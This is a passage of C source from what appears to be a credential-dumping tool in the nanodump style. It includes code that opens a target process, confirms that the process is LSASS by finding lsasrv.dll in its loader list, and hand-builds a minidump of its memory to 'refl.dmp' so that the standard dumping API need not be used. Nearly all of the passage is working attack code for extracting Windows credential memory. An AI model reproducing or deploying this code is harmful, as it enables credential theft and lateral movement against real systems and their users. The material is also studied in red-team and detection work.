233 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, args.returned_pid);
234 |
235 | #ifdef _DEBUG
236 | if (hProcess != NULL)
237 | {
238 | ULONG_PTR ptr = 0;
239 |
240 | MEMORY_BASIC_INFORMATION mbi = {};
241 |
242 | do
243 | {
244 | VirtualQueryEx(hProcess, (LPVOID)ptr, &mbi, sizeof(mbi));
245 | if (check_vad_permission(&mbi))
246 | {
247 | DPRINT("[%p] Buffer %p size %p\n", mbi.Type, mbi.BaseAddress, mbi.RegionSize);
248 | }
249 | ptr = (ULONG_PTR) mbi.BaseAddress + mbi.RegionSize;
250 | } while (ptr < (0x00007fffffff0000));
251 | }
252 | #endif
253 |
254 | #ifdef _USE_DBGHELP
255 | HANDLE outFile = CreateFile(L"refl.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
256 |
257 | DWORD retd = MiniDumpWriteDump(args.returned_hndl, args.returned_pid, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
258 | CloseHandle(outFile);
259 | #else
260 | dump_context dc = {};
261 | dc.hProcess = hProcess;
262 | dc.DumpMaxSize = 0x4000000;
263 |
264 | dc.BaseAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dc.DumpMaxSize);
265 |
266 | if (NanoDumpWriteDump(&dc))
267 | {
268 | HANDLE outFile = CreateFileA("refl.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
269 | DPRINT("Using file: refl.dmp\n");
270 |
271 | DPRINT("Generated output %p size %p\n", dc.BaseAddress, (PVOID)dc.DumpMaxSize);
272 | WriteFile(outFile, dc.BaseAddress, dc.rva, NULL, NULL);
273 |
274 | CloseHandle(outFile);
275 | }
276 | #endif
277 |
278 | if (args.returned_hndl != NULL)
279 | {
280 | TerminateProcess(args.returned_hndl, 0);
281 | CloseHandle(args.returned_hndl);
282 | }
283 | return 0;
284 | }
285 |
--------------------------------------------------------------------------------
/src/nanodump.h:
--------------------------------------------------------------------------------
1 |
2 | #ifndef MINIDUMP_SIGNATURE
3 | #define MINIDUMP_SIGNATURE 0x504d444d
4 | #endif
5 |
6 | #ifndef MINIDUMP_VERSION
7 | #define MINIDUMP_VERSION 42899
8 | #endif
9 |
10 | #define MINIDUMP_IMPL_VERSION 0
11 |
12 | #define SIZE_OF_HEADER 32
13 | #define SIZE_OF_DIRECTORY 12
14 | #ifdef _WIN64
15 | #define SIZE_OF_SYSTEM_INFO_STREAM 48
16 | #else
17 | #define SIZE_OF_SYSTEM_INFO_STREAM 56
18 | #endif
19 | #define SIZE_OF_MINIDUMP_MODULE 108
20 |
21 | #define LSASRV_DLL L"lsasrv.dll"
22 | #ifdef _WIN64
23 | #define LDR_POINTER_OFFSET 0x18
24 | #define MODULE_LIST_POINTER_OFFSET 0x10
25 | #else
26 | #define LDR_POINTER_OFFSET 0xc
27 | #define MODULE_LIST_POINTER_OFFSET 0xc
28 | #endif
29 |
30 | typedef struct _ND_LDR_DATA_TABLE_ENTRY
31 | {
32 | struct _LIST_ENTRY InLoadOrderLinks;
33 | struct _LIST_ENTRY InMemoryOrderLinks;
34 | struct _LIST_ENTRY InInitializationOrderLinks;
35 | PVOID DllBase;
36 | PVOID EntryPoint;
37 | ULONG SizeOfImage;
38 | UNICODE_STRING FullDllName;
39 | UNICODE_STRING BaseDllName;
40 | } ND_LDR_DATA_TABLE_ENTRY, * PND_LDR_DATA_TABLE_ENTRY;
41 |
42 | enum StreamType
43 | {
44 | SystemInfoStream = 7,
45 | ModuleListStream = 4,
46 | Memory64ListStream = 9,
47 | };
48 |
49 | enum ProcessorArchitecture
50 | {
51 | AMD64 = 9,
52 | INTEL = 0,
53 | };
54 |
55 | enum MiniDumpType
56 | {
57 | MiniDumpNormal = 0,
58 | };
59 |
60 | typedef struct _MiniDumpHeader
61 | {
62 | ULONG32 Signature;
63 | SHORT Version;
64 | SHORT ImplementationVersion;
65 | ULONG32 NumberOfStreams;
66 | ULONG32 StreamDirectoryRva;
67 | ULONG32 CheckSum;
68 | ULONG32 Reserved;
69 | ULONG32 TimeDateStamp;
70 | ULONG32 Flags;
71 | } MiniDumpHeader, * PMiniDumpHeader;
72 |
73 | typedef struct _MiniDumpDirectory
74 | {
75 | ULONG32 StreamType;
76 | ULONG32 DataSize;
77 | ULONG32 Rva;
78 | } MiniDumpDirectory, * PMiniDumpDirectory;
79 |
80 | typedef struct _dump_context
81 | {
82 | HANDLE hProcess;
83 | PVOID BaseAddress;
84 | ULONG32 rva;
85 | SIZE_T DumpMaxSize;
86 | ULONG32 Signature;
87 | USHORT Version;
88 | USHORT ImplementationVersion;
89 | } dump_context, * Pdump_context;
90 |
91 | #define RVA(type, base_addr, rva) (type)(ULONG_PTR)((ULONG_PTR) base_addr + rva)
92 |
93 | typedef struct _MiniDumpSystemInfo
94 | {
95 | SHORT ProcessorArchitecture;
96 | SHORT ProcessorLevel;
97 | SHORT ProcessorRevision;
98 | char NumberOfProcessors;
99 | char ProductType;
100 | ULONG32 MajorVersion;
101 | ULONG32 MinorVersion;
102 | ULONG32 BuildNumber;
103 | ULONG32 PlatformId;
104 | ULONG32 CSDVersionRva;
105 | SHORT SuiteMask;
106 | SHORT Reserved2;
107 | #if _WIN64
108 | ULONG64 ProcessorFeatures1;
109 | ULONG64 ProcessorFeatures2;
110 | #else
111 | ULONG32 VendorId1;
112 | ULONG32 VendorId2;
113 | ULONG32 VendorId3;
114 | ULONG32 VersionInformation;
115 | ULONG32 FeatureInformation;
116 | ULONG32 AMDExtendedCpuFeatures;
117 | #endif
118 | } MiniDumpSystemInfo, * PMiniDumpSystemInfo;
119 |
120 | #ifdef _WIN64
121 | #define CID_OFFSET 0x40
122 | #define TEB_OFFSET 0x30
123 | #define PEB_OFFSET 0x60
124 | #define READ_MEMLOC __readgsqword
125 | #else
126 | #define CID_OFFSET 0x20
127 | #define TEB_OFFSET 0x18
128 | #define PEB_OFFSET 0x30
129 | #define READ_MEMLOC __readfsdword
130 | #endif
131 |
132 | typedef struct _module_info
133 | {
134 | struct _module_info* next;
135 | ULONG64 dll_base;
136 | ULONG32 size_of_image;
137 | char dll_name[512];
138 | ULONG32 name_rva;
139 | ULONG32 TimeDateStamp;
140 | ULONG32 CheckSum;
141 | } module_info, * Pmodule_info;
142 |
143 | typedef struct _MiniDumpLocationDescriptor
144 | {
145 | ULONG32 DataSize;
146 | ULONG32 rva;
147 | } MiniDumpLocationDescriptor, * PMiniDumpLocationDescriptor;
148 |
149 | typedef struct _VsFixedFileInfo
150 | {
151 | ULONG32 dwSignature;
152 | ULONG32 dwStrucVersion;
153 | ULONG32 dwFileVersionMS;
154 | ULONG32 dwFileVersionLS;
155 | ULONG32 dwProductVersionMS;
156 | ULONG32 dwProductVersionLS;
157 | ULONG32 dwFileFlagsMask;
158 | ULONG32 dwFileFlags;
159 | ULONG32 dwFileOS;
160 | ULONG32 dwFileType;
161 | ULONG32 dwFileSubtype;
162 | ULONG32 dwFileDateMS;
163 | ULONG32 dwFileDateLS;
164 | } VsFixedFileInfo, * PVsFixedFileInfo;
165 |
166 | typedef struct _MiniDumpModule
167 | {
168 | ULONG64 BaseOfImage;
169 | ULONG32 SizeOfImage;
170 | ULONG32 CheckSum;
171 | ULONG32 TimeDateStamp;
172 | ULONG32 ModuleNameRva;
173 | VsFixedFileInfo VersionInfo;
174 | MiniDumpLocationDescriptor CvRecord;
175 | MiniDumpLocationDescriptor MiscRecord;
176 | ULONG64 Reserved0;
177 | ULONG64 Reserved1;
178 | } MiniDumpModule, * PMiniDumpModule;
179 |
180 | typedef struct _MiniDumpMemoryDescriptor64
181 | {
182 | struct _MiniDumpMemoryDescriptor64* next;
183 | ULONG64 StartOfMemoryRange;
184 | ULONG64 DataSize;
185 | DWORD State;
186 | DWORD Protect;
187 | DWORD Type;
188 | } MiniDumpMemoryDescriptor64, * PMiniDumpMemoryDescriptor64;
189 |
190 |
191 | typedef enum _MEMORY_INFORMATION_CLASS
192 | {
193 | MemoryBasicInformation,
194 | MemoryWorkingSetInformation,
195 | MemoryMappedFilenameInformation,
196 | MemoryRegionInformation,
197 | MemoryWorkingSetExInformation,
198 | MemorySharedCommitInformation,
199 | MemoryImageInformation,
200 | MemoryRegionInformationEx,
201 | MemoryPrivilegedBasicInformation,
202 | MemoryEnclaveImageInformation,
203 | MemoryBasicInformationCapped
204 | } MEMORY_INFORMATION_CLASS, * PMEMORY_INFORMATION_CLASS;
205 |
206 | #define STATUS_SUCCESS 0x00000000
207 | #define STATUS_UNSUCCESSFUL 0xC0000001
208 | #define STATUS_PARTIAL_COPY 0x8000000D
209 | #define STATUS_ACCESS_DENIED 0xC0000022
210 | #define STATUS_OBJECT_PATH_NOT_FOUND 0xC000003A
211 | #define STATUS_OBJECT_NAME_NOT_FOUND 0xC0000034
212 | #define STATUS_OBJECT_NAME_INVALID 0xc0000033
213 | #define STATUS_SHARING_VIOLATION 0xC0000043
214 | #define STATUS_NO_MORE_ENTRIES 0x8000001A
215 | #define STATUS_INVALID_CID 0xC000000B
216 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
217 | #define STATUS_OBJECT_PATH_SYNTAX_BAD 0xC000003B
218 | #define STATUS_BUFFER_TOO_SMALL 0xC0000023
219 | #define STATUS_OBJECT_NAME_COLLISION 0xC0000035
220 | #define STATUS_ALERTED 0x00000101
221 |
222 | #ifdef _DEBUG
223 | #define DPRINT(fmt, ...) printf(fmt, __VA_ARGS__)
224 | #define PRINT_ERR(fmt, ...) printf("[ERROR]"#fmt"\n", __VA_ARGS__)
225 | #define DPRINT_ERR(fmt, ...) printf("[ERROR]"#fmt"\n", __VA_ARGS__)
226 |
227 | #define syscall_failed(fmt, status) printf("syscall failed. %s %d\n", fmt, status)
228 | #define malloc_failed() printf("[ERROR] malloc failed\n")
229 | #else
230 | #define DPRINT(fmt, ...) do {} while(0)
231 | #define PRINT_ERR(fmt, ...) do {} while(0)
232 | #define DPRINT_ERR(fmt, ...) do {} while(0)
233 | #define syscall_failed(fmt, status) do {} while(0)
234 | #define malloc_failed() do {} while(0)
235 | #endif
236 |
237 | #define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
238 | #define intFree(addr) HeapFree(GetProcessHeap(), 0, addr)
239 |
240 | #define DATA_FREE(d, l) \
241 | if (d) { \
242 | memset(d, 0, l); \
243 | intFree(d); \
244 | d = NULL; \
245 | }
246 |
247 |
248 | struct _RTL_BALANCED_NODE
249 | {
250 | union
251 | {
252 | struct _RTL_BALANCED_NODE* Children[2]; //0x0
253 | struct
254 | {
255 | struct _RTL_BALANCED_NODE* Left; //0x0
256 | struct _RTL_BALANCED_NODE* Right; //0x8
257 | };
258 | };
259 | union
260 | {
261 | struct
262 | {
263 | UCHAR Red : 1; //0x10
264 | UCHAR Balance : 2; //0x10
265 | };
266 | ULONGLONG ParentValue; //0x10
267 | };
268 | };
269 | struct XND_LDR_DATA_TABLE_ENTRY
270 | {
271 | struct _LIST_ENTRY InLoadOrderLinks; //0x0
272 | struct _LIST_ENTRY InMemoryOrderLinks; //0x10
273 | struct _LIST_ENTRY InInitializationOrderLinks; //0x20
274 | PVOID DllBase; //0x30
275 | PVOID EntryPoint; //0x38
276 | ULONG32 SizeOfImage; //0x40
277 | struct _UNICODE_STRING FullDllName; //0x48
278 | struct _UNICODE_STRING BaseDllName; //0x58
279 | UCHAR FlagGroup[4]; //0x68
280 | USHORT ObsoleteLoadCount; //0x6c
281 | USHORT TlsIndex; //0x6e
282 | struct _LIST_ENTRY HashLinks; //0x70
283 | ULONG TimeDateStamp; //0x80
284 | struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
285 | VOID* Lock; //0x90
286 | struct _LDR_DDAG_NODE* DdagNode; //0x98
287 | struct _LIST_ENTRY NodeModuleLink; //0xa0
288 | struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
289 | VOID* ParentDllBase; //0xb8
290 | VOID* SwitchBackContext; //0xc0
291 | struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
292 | struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
293 | ULONGLONG OriginalBase; //0xf8
294 | union _LARGE_INTEGER LoadTime; //0x100
295 | ULONG BaseNameHashValue; //0x108
296 | ULONG32 LoadReason; //0x10c
297 | ULONG ImplicitPathOptions; //0x110
298 | ULONG ReferenceCount; //0x114
299 | ULONG DependentLoadFlags; //0x118
300 | UCHAR SigningLevel; //0x11c
301 | ULONG CheckSum; //0x120
302 | };
303 |
304 | #define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0]))
305 |
306 | #ifdef __cplusplus
307 | extern "C"
308 | #endif
309 | BOOL NanoDumpWriteDump(
310 | IN Pdump_context dc);
311 |
--------------------------------------------------------------------------------
/src/nanodump.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "nanodump.h"
6 | #include "utils.h"
7 |
8 | NTSTATUS(NTAPI* _NtQueryInformationProcess)(
9 | IN HANDLE ProcessHandle,
10 | IN PROCESSINFOCLASS ProcessInformationClass,
11 | OUT PVOID ProcessInformation,
12 | IN ULONG ProcessInformationLength,
13 | OUT PULONG ReturnLength OPTIONAL
14 | );
15 |
16 | typedef struct _linked_list
17 | {
18 | struct _linked_list* next;
19 | } linked_list, * Plinked_list;
20 |
21 | PVOID get_peb_address(
22 | IN HANDLE hProcess)
23 | {
24 | PROCESS_BASIC_INFORMATION basic_info = { 0 };
25 | basic_info.PebBaseAddress = 0;
26 | PROCESSINFOCLASS ProcessInformationClass = 0;
27 | NTSTATUS status = _NtQueryInformationProcess(
28 | hProcess,
29 | ProcessInformationClass,
30 | &basic_info,
31 | sizeof(PROCESS_BASIC_INFORMATION),
32 | NULL);
33 | if (!NT_SUCCESS(status))
34 | {
35 | syscall_failed("NtQueryInformationProcess", status);
36 | DPRINT_ERR("Could not get the PEB of the process");
37 | return 0;
38 | }
39 |
40 | return basic_info.PebBaseAddress;
41 | }
42 |
43 | PVOID get_module_list_address(
44 | IN HANDLE hProcess,
45 | IN BOOL is_lsass)
46 | {
47 | PVOID peb_address, ldr_pointer, ldr_address, module_list_pointer, ldr_entry_address;
48 |
49 | peb_address = get_peb_address(hProcess);
50 | if (!peb_address)
51 | return NULL;
52 |
53 | ldr_pointer = RVA(PVOID, peb_address, LDR_POINTER_OFFSET);
54 |
55 | ldr_address = 0;
56 | NTSTATUS status = ReadProcessMemory(
57 | hProcess,
58 | (PVOID)ldr_pointer,
59 | &ldr_address,
60 | sizeof(PVOID),
61 | NULL);
62 | if (!NT_SUCCESS(status) && !is_lsass)
63 | {
64 | // failed to read the memory of some process, simply continue
65 | return NULL;
66 | }
67 | if (!NT_SUCCESS(status) && is_lsass)
68 | {
69 | if (status == STATUS_ACCESS_DENIED)
70 | {
71 | PRINT_ERR("Failed to read LSASS, status: STATUS_ACCESS_DENIED");
72 | }
73 | else
74 | {
75 | PRINT_ERR("Failed to read LSASS, status: 0x%lx", status);
76 | }
77 | return NULL;
78 | }
79 |
80 | module_list_pointer = RVA(PVOID, ldr_address, MODULE_LIST_POINTER_OFFSET);
81 |
82 | ldr_entry_address = NULL;
83 | status = ReadProcessMemory(
84 | hProcess,
85 | (PVOID)module_list_pointer,
86 | &ldr_entry_address,
87 | sizeof(PVOID),
88 | NULL);
89 | if (!NT_SUCCESS(status))
90 | {
91 | syscall_failed("NtReadVirtualMemory", status);
92 | DPRINT_ERR("Could not get the address of the module list");
93 | return NULL;
94 | }
95 | DPRINT(
96 | "Got the address of the module list: 0x%p",
97 | ldr_entry_address);
98 | return ldr_entry_address;
99 | }
100 |
101 | Pmodule_info add_new_module(
102 | IN HANDLE hProcess,
103 | IN struct XND_LDR_DATA_TABLE_ENTRY* ldr_entry)
104 | {
105 | DWORD name_size;
106 | Pmodule_info new_module = intAlloc(sizeof(module_info));
107 | if (!new_module)
108 | {
109 | malloc_failed();
110 | DPRINT_ERR("Could not add new module");
111 | return NULL;
112 | }
113 | new_module->next = NULL;
114 | new_module->dll_base = (ULONG64)(ULONG_PTR)ldr_entry->DllBase;
115 | new_module->size_of_image = ldr_entry->SizeOfImage;
116 | new_module->TimeDateStamp = ldr_entry->TimeDateStamp;
117 | new_module->CheckSum = ldr_entry->CheckSum;
118 |
119 | name_size = ldr_entry->FullDllName.Length > sizeof(new_module->dll_name) ?
120 | sizeof(new_module->dll_name) : ldr_entry->FullDllName.Length;
121 |
122 | // read the full path of the DLL
123 | NTSTATUS status = ReadProcessMemory(
124 | hProcess,
125 | (PVOID)ldr_entry->FullDllName.Buffer,
126 | new_module->dll_name,
127 | name_size,
128 | NULL);
129 | if (!NT_SUCCESS(status))
130 | {
131 | syscall_failed("NtReadVirtualMemory", status);
132 | DPRINT_ERR("Could not add new module");
133 | return NULL;
134 | }
135 | return new_module;
136 | }
137 |
138 | BOOL read_ldr_entry(
139 | IN HANDLE hProcess,
140 | IN PVOID ldr_entry_address,
141 | OUT struct XND_LDR_DATA_TABLE_ENTRY* ldr_entry,
142 | OUT wchar_t* base_dll_name)
143 | {
144 | // read the entry
145 | NTSTATUS status = ReadProcessMemory(
146 | hProcess,
147 | ldr_entry_address,
148 | ldr_entry,
149 | sizeof(struct XND_LDR_DATA_TABLE_ENTRY),
150 | NULL);
151 | if (!NT_SUCCESS(status))
152 | {
153 | syscall_failed("NtReadVirtualMemory", status);
154 | DPRINT_ERR(
155 | "Could not read module information at: 0x%p",
156 | ldr_entry_address);
157 | return FALSE;
158 | }
159 | // initialize base_dll_name with all null-bytes
160 | memset(base_dll_name, 0, MAX_PATH);
161 | // read the dll name
162 | status = ReadProcessMemory(
163 | hProcess,
164 | (PVOID)ldr_entry->BaseDllName.Buffer,
165 | base_dll_name,
166 | ldr_entry->BaseDllName.Length,
167 | NULL);
168 | if (!NT_SUCCESS(status))
169 | {
170 | syscall_failed("NtReadVirtualMemory", status);
171 | DPRINT_ERR(
172 | "Could not read module information at: 0x%p",
173 | ldr_entry->BaseDllName.Buffer);
174 | return FALSE;
175 | }
176 | return TRUE;
177 | }
178 |
179 | Pmodule_info find_modules(
180 | IN HANDLE hProcess,
181 | IN wchar_t* important_modules[],
182 | IN int number_of_important_modules,
183 | IN BOOL is_lsass)
184 | {
185 | // module list
186 | Pmodule_info module_list = NULL;
187 |
188 | // find the address of LDR_DATA_TABLE_ENTRY
189 | PVOID ldr_entry_address = get_module_list_address(
190 | hProcess,
191 | is_lsass);
192 | if (!ldr_entry_address)
193 | return NULL;
194 |
195 | PVOID first_ldr_entry_address = NULL;
196 | SHORT dlls_found = 0;
197 | BOOL lsasrv_found = FALSE;
198 | struct XND_LDR_DATA_TABLE_ENTRY ldr_entry;
199 | wchar_t base_dll_name[MAX_PATH];
200 | // loop over each DLL loaded, looking for the important modules
201 | while (dlls_found < number_of_important_modules)
202 | {
203 | // read the current entry
204 | BOOL success = read_ldr_entry(
205 | hProcess,
206 | ldr_entry_address,
207 | &ldr_entry,
208 | base_dll_name);
209 | if (!success)
210 | return NULL;
211 |
212 | if (!first_ldr_entry_address)
213 | first_ldr_entry_address = ldr_entry.InLoadOrderLinks.Blink;
214 |
215 | // loop over each important module and see if we have a match
216 | for (int i = 0; i < number_of_important_modules; i++)
217 | {
218 | // compare the DLLs' name, case insensitive
219 | if (!_WCSICMP(important_modules[i], base_dll_name))
220 | {
221 | DPRINT(
222 | "Found %ls at 0x%p",
223 | base_dll_name,
224 | ldr_entry_address);
225 | // check if the DLL is 'lsasrv.dll' so that we know the process is indeed LSASS
226 | if (!_WCSICMP(important_modules[i], LSASRV_DLL))
227 | lsasrv_found = TRUE;
228 |
229 | // add the new module to the linked list
230 | Pmodule_info new_module = add_new_module(
231 | hProcess,
232 | &ldr_entry);
233 | if (!new_module)
234 | return NULL;
235 |
236 | if (!module_list)
237 | {
238 | module_list = new_module;
239 | }
240 | else
241 | {
242 | Pmodule_info last_module = module_list;
243 | while (last_module->next)
244 | last_module = last_module->next;
245 | last_module->next = new_module;
246 | }
247 | dlls_found++;
248 | break;
249 | }
250 | }
251 |
252 | // set the next entry as the current entry
253 | ldr_entry_address = ldr_entry.InLoadOrderLinks.Flink;
254 | // if we are back at the beginning, break
255 | if (ldr_entry_address == first_ldr_entry_address)
256 | break;
257 | }
258 | // the LSASS process should always have 'lsasrv.dll' loaded
259 | if (is_lsass && !lsasrv_found)
260 | {
261 | PRINT_ERR("The selected process is not LSASS.");
262 | return NULL;
263 | }
264 | return module_list;
265 | }
266 |
267 |
268 | VOID free_linked_list(
269 | IN PVOID head,
270 | IN ULONG node_size)
271 | {
272 | if (!head)
273 | return;
274 |
275 | Plinked_list node = (Plinked_list)head;
276 | ULONG32 number_of_nodes = 0;
277 | while (node)
278 | {
279 | number_of_nodes++;
280 | node = node->next;
281 | }
282 |
283 | for (int i = number_of_nodes - 1; i >= 0; i--)
284 | {
285 | node = (Plinked_list)head;
286 |
287 | int jumps = i;
288 | while (jumps--)
289 | node = node->next;
290 |
291 | DATA_FREE(node, node_size);
292 | }
293 | }
294 |
295 |
296 | VOID writeat(
297 | IN Pdump_context dc,
298 | IN ULONG32 rva,
299 | IN const PVOID data,
300 | IN unsigned size)
301 | {
302 | PVOID dst = RVA(
303 | PVOID,
304 | dc->BaseAddress,
305 | rva);
306 | memcpy(dst, data, size);
307 | }
308 |
309 | BOOL append(
310 | IN Pdump_context dc,
311 | IN const PVOID data,
312 | IN ULONG32 size)
313 | {
314 | ULONG32 new_rva = dc->rva + size;
315 | if (new_rva < dc->rva)
316 | {
317 | PRINT_ERR("The dump size exceeds the 32-bit address space!");
318 | return FALSE;
319 | }
320 | else if (new_rva >= dc->DumpMaxSize)
321 | {
322 | PRINT_ERR("The dump is too big, please increase DUMP_MAX_SIZE.");
323 | return FALSE;
324 | }
325 | else
326 | {
327 | writeat(dc, dc->rva, data, size);
328 | dc->rva = new_rva;
329 | return TRUE;
330 | }
331 | }
332 |
333 | BOOL write_header(
334 | IN Pdump_context dc)
335 | {
336 | DPRINT("Writing header");
337 | MiniDumpHeader header = { 0 };
338 | DPRINT("Signature: 0x%x", dc->Signature);
339 | header.Signature = dc->Signature;
340 | DPRINT("Version: %hu", dc->Version);
341 | header.Version = dc->Version;
342 | DPRINT("ImplementationVersion: %hu", dc->ImplementationVersion);
343 | header.ImplementationVersion = dc->ImplementationVersion;
344 | header.NumberOfStreams = 3; // we only need: SystemInfoStream, ModuleListStream and Memory64ListStream
345 | header.StreamDirectoryRva = SIZE_OF_HEADER;
346 | header.CheckSum = 0;
347 | header.Reserved = 0;
348 | header.TimeDateStamp = 0;
349 | header.Flags = MiniDumpNormal;
350 |
351 | char header_bytes[SIZE_OF_HEADER] = { 0 };
352 |
353 | DWORD offset = 0;
354 | memcpy(header_bytes + offset, &header.Signature, 4); offset += 4;
355 | memcpy(header_bytes + offset, &header.Version, 2); offset += 2;
356 | memcpy(header_bytes + offset, &header.ImplementationVersion, 2); offset += 2;
357 | memcpy(header_bytes + offset, &header.NumberOfStreams, 4); offset += 4;
358 | memcpy(header_bytes + offset, &header.StreamDirectoryRva, 4); offset += 4;
359 | memcpy(header_bytes + offset, &header.CheckSum, 4); offset += 4;
360 | memcpy(header_bytes + offset, &header.Reserved, 4); offset += 4;
361 | memcpy(header_bytes + offset, &header.TimeDateStamp, 4); offset += 4;
362 | memcpy(header_bytes + offset, &header.Flags, 4);
363 |
364 | if (!append(dc, header_bytes, SIZE_OF_HEADER))
365 | {
366 | DPRINT_ERR("Failed to write header");
367 | return FALSE;
368 | }
369 |
370 | return TRUE;
371 | }
372 |
373 | BOOL write_directory(
374 | IN Pdump_context dc,
375 | IN MiniDumpDirectory directory)
376 | {
377 | BYTE directory_bytes[SIZE_OF_DIRECTORY] = { 0 };
378 | DWORD offset = 0;
379 | memcpy(directory_bytes + offset, &directory.StreamType, 4); offset += 4;
380 | memcpy(directory_bytes + offset, &directory.DataSize, 4); offset += 4;
381 | memcpy(directory_bytes + offset, &directory.Rva, 4);
382 | if (!append(dc, directory_bytes, sizeof(directory_bytes)))
383 | return FALSE;
384 |
385 | return TRUE;
386 | }
387 |
388 | BOOL write_directories(
389 | IN Pdump_context dc)
390 | {
391 | DPRINT("Writing directory: SystemInfoStream");
392 | MiniDumpDirectory system_info_directory = { 0 };
393 | system_info_directory.StreamType = SystemInfoStream;
394 | system_info_directory.DataSize = 0; // this is calculated and written later
395 | system_info_directory.Rva = 0; // this is calculated and written later
396 | if (!write_directory(dc, system_info_directory))
397 | {
398 | DPRINT_ERR("Failed to write directory");
399 | return FALSE;
400 | }
401 |
402 | DPRINT("Writing directory: ModuleListStream");
403 | MiniDumpDirectory module_list_directory = { 0 };
404 | module_list_directory.StreamType = ModuleListStream;
405 | module_list_directory.DataSize = 0; // this is calculated and written later
406 | module_list_directory.Rva = 0; // this is calculated and written later
407 | if (!write_directory(dc, module_list_directory))
408 | {
409 | DPRINT_ERR("Failed to write directory");
410 | return FALSE;
411 | }
412 |
413 | DPRINT("Writing directory: Memory64ListStream");
414 | MiniDumpDirectory memory64_list_directory = { 0 };
415 | memory64_list_directory.StreamType = Memory64ListStream;
416 | memory64_list_directory.DataSize = 0; // this is calculated and written later
417 | memory64_list_directory.Rva = 0; // this is calculated and written later
418 | if (!write_directory(dc, memory64_list_directory))
419 | {
420 | DPRINT_ERR("Failed to write directory");
421 | return FALSE;
422 | }
423 |
424 | return TRUE;
425 | }
426 |
427 | #if _WIN64
428 | #define PROCESS_PARAMETERS_OFFSET 0x20
429 | #define OSMAJORVERSION_OFFSET 0x118
430 | #define OSMINORVERSION_OFFSET 0x11c
431 | #define OSBUILDNUMBER_OFFSET 0x120
432 | #define OSPLATFORMID_OFFSET 0x124
433 | #define CSDVERSION_OFFSET 0x2e8
434 | #define PROCESSOR_ARCHITECTURE AMD64
435 | #else
436 | #define PROCESS_PARAMETERS_OFFSET 0x10
437 | #define OSMAJORVERSION_OFFSET 0xa4
438 | #define OSMINORVERSION_OFFSET 0xa8
439 | #define OSBUILDNUMBER_OFFSET 0xac
440 | #define OSPLATFORMID_OFFSET 0xb0
441 | #define CSDVERSION_OFFSET 0x1f0
442 | #define PROCESSOR_ARCHITECTURE INTEL
443 | #endif
444 |
445 | BOOL write_system_info_stream(
446 | IN Pdump_context dc)
447 | {
448 | MiniDumpSystemInfo system_info = { 0 };
449 |
450 | DPRINT("Writing SystemInfoStream");
451 |
452 | // read the version and build numbers from the PEB
453 | PVOID pPeb;
454 | PULONG32 OSMajorVersion;
455 | PULONG32 OSMinorVersion;
456 | PUSHORT OSBuildNumber;
457 | PULONG32 OSPlatformId;
458 | PUNICODE_STRING CSDVersion;
459 | pPeb = (PVOID)READ_MEMLOC(PEB_OFFSET);
460 | OSMajorVersion = RVA(PULONG32, pPeb, OSMAJORVERSION_OFFSET);
461 | OSMinorVersion = RVA(PULONG32, pPeb, OSMINORVERSION_OFFSET);
462 | OSBuildNumber = RVA(PUSHORT, pPeb, OSBUILDNUMBER_OFFSET);
463 | OSPlatformId = RVA(PULONG32, pPeb, OSPLATFORMID_OFFSET);
464 | CSDVersion = RVA(PUNICODE_STRING, pPeb, CSDVERSION_OFFSET);
465 | system_info.ProcessorArchitecture = PROCESSOR_ARCHITECTURE;
466 | DPRINT("OSMajorVersion: %d", *OSMajorVersion);
467 | DPRINT("OSMinorVersion: %d", *OSMinorVersion);
468 | DPRINT("OSBuildNumber: %d", *OSBuildNumber);
469 | DPRINT("CSDVersion: %ls", CSDVersion->Buffer);
470 |
471 | system_info.ProcessorLevel = 0;
472 | system_info.ProcessorRevision = 0;
473 | system_info.NumberOfProcessors = 0;
474 | // RtlGetVersion -> wProductType
475 | system_info.ProductType = VER_NT_WORKSTATION;
476 | //system_info.ProductType = VER_NT_DOMAIN_CONTROLLER;
477 | //system_info.ProductType = VER_NT_SERVER;
478 | system_info.MajorVersion = *OSMajorVersion;
479 | system_info.MinorVersion = *OSMinorVersion;
480 | system_info.BuildNumber = *OSBuildNumber;
481 | system_info.PlatformId = *OSPlatformId;
482 | system_info.CSDVersionRva = 0; // this is calculated and written later
483 | system_info.SuiteMask = 0;
484 | system_info.Reserved2 = 0;
485 | #if _WIN64
486 | system_info.ProcessorFeatures1 = 0;
487 | system_info.ProcessorFeatures2 = 0;
488 | #else
489 | system_info.VendorId1 = 0;
490 | system_info.VendorId2 = 0;
491 | system_info.VendorId3 = 0;
492 | system_info.VersionInformation = 0;
493 | system_info.FeatureInformation = 0;
494 | system_info.AMDExtendedCpuFeatures = 0;
495 | #endif
496 |
497 | ULONG32 stream_size = SIZE_OF_SYSTEM_INFO_STREAM;
498 | char system_info_bytes[SIZE_OF_SYSTEM_INFO_STREAM] = { 0 };
499 |
500 | DWORD offset = 0;
501 | memcpy(system_info_bytes + offset, &system_info.ProcessorArchitecture, 2); offset += 2;
502 | memcpy(system_info_bytes + offset, &system_info.ProcessorLevel, 2); offset += 2;
503 | memcpy(system_info_bytes + offset, &system_info.ProcessorRevision, 2); offset += 2;
504 | memcpy(system_info_bytes + offset, &system_info.NumberOfProcessors, 1); offset += 1;
505 | memcpy(system_info_bytes + offset, &system_info.ProductType, 1); offset += 1;
506 | memcpy(system_info_bytes + offset, &system_info.MajorVersion, 4); offset += 4;
507 | memcpy(system_info_bytes + offset, &system_info.MinorVersion, 4); offset += 4;
508 | memcpy(system_info_bytes + offset, &system_info.BuildNumber, 4); offset += 4;
509 | memcpy(system_info_bytes + offset, &system_info.PlatformId, 4); offset += 4;
510 | memcpy(system_info_bytes + offset, &system_info.CSDVersionRva, 4); offset += 4;
